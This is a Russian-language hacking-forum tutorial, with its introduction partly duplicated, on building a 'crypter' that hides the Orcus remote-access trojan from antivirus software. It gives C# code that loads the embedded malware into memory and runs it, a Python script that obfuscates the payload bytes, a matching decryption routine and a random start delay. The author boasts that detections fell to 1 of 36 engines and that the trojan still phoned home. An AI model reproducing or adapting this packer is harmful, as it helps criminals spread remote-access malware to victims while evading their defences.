Предисловие:
Мне около недели назад кинули крипт моего модуля бота от человека, который занимается этим на дарквебе и других форумах. Файлик легко разобрался через dotPeek и я чуть охренел когда открыл его. До этого момента я думал что не особо шарю в крипте, но, как оказалось, говнокод в этом деле - залог успеха.
Материалы:
Visual Studio 2015
Python 3.5
Пример .Net вируса
2 руки
Приступим:
Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл).
В методе main прописываем:
Где sample - имя вашего файла.
Я брал билд ратника Orcus и его изначальный детект был -
Далее выставляем сборку на Release и собираем проект. Полученный файл чекаем на детект:
Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт.
Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял.
Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах:
Где run.exe - имя вашего .Net семпла
Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый.
Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов
Устанавливаем цифры которые вставили в скрипте и дешифровка готова.
Далее это дело нужно как-то запускать. Для этого напишем еще один метод:
А в методе main пропишем запуск потока с рандомной задержкой:
Собираем проект, и получаем следующий результат -
Не спрашивайте почему там есть Nod. Он просто по дефолту палит все мои продукты .-.
Билд вполне рабочий, я тестировал на виртуалке и юзер отстучал в ратник. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно.
Мне около недели назад кинули крипт моего модуля бота от человека, который занимается этим на дарквебе и других форумах. Файлик легко разобрался через dotPeek и я чуть охренел когда открыл его. До этого момента я думал что не особо шарю в крипте, но, как оказалось, говнокод в этом деле - залог успеха.
Материалы:
Visual Studio 2015
Python 3.5
Пример .Net вируса
2 руки
Приступим:
Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл).
В методе main прописываем:
Код:
Assembly a = Assembly.Load(Properties.Resources.sample);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), new string[0]);
Я брал билд ратника Orcus и его изначальный детект был -
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Далее выставляем сборку на Release и собираем проект. Полученный файл чекаем на детект:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
(9/36). Тремя строчками избавились от 17 детектов, но все равно это слишком много.Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт.
Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял.
Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах:
Код:
import os
def encrypt():
with open('run.exe', 'rb') as f:
arr = f.read()
with open('encrypted.txt', 'w') as w:
arr2 = []
for i in arr:
if i % 2:
arr2.append(int(i) - 25) # Абсолютно любая цифра
else:
arr2.append(int(i) + 15) # Абсолютно любая цифра
for i in arr2:
w.write(str(i) + " ")
encrypt()
Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый.
Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов
Код:
public static byte[] decrypt()
{
string enc = Properties.Resources.encrypted;
string[] bytes = enc.Split(' ');
byte[] decrypted = new byte[bytes.Length - 1];
for (int i = 0; i < bytes.Length - 1; i++)
{
int curr = Convert.ToInt32(bytes[i]);
if (curr % 2 == 0)
decrypted[i] = Convert.ToByte(curr + 25); # Цифра из скрипта
else
decrypted[i] = Convert.ToByte(curr - 15); # Цифра из скрипта
}
return decrypted;
}
Далее это дело нужно как-то запускать. Для этого напишем еще один метод:
Код:
public static void run()
{
Assembly a = Assembly.Load(decrypt());
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), new string[0]);
}
А в методе main пропишем запуск потока с рандомной задержкой:
Код:
static void Main(string[] args)
{
Thread.Sleep(new Random().Next(1, 35) * 1000);
new Thread(run).Start();
}
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
(1/36)Не спрашивайте почему там есть Nod. Он просто по дефолту палит все мои продукты .-.
Билд вполне рабочий, я тестировал на виртуалке и юзер отстучал в ратник. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно.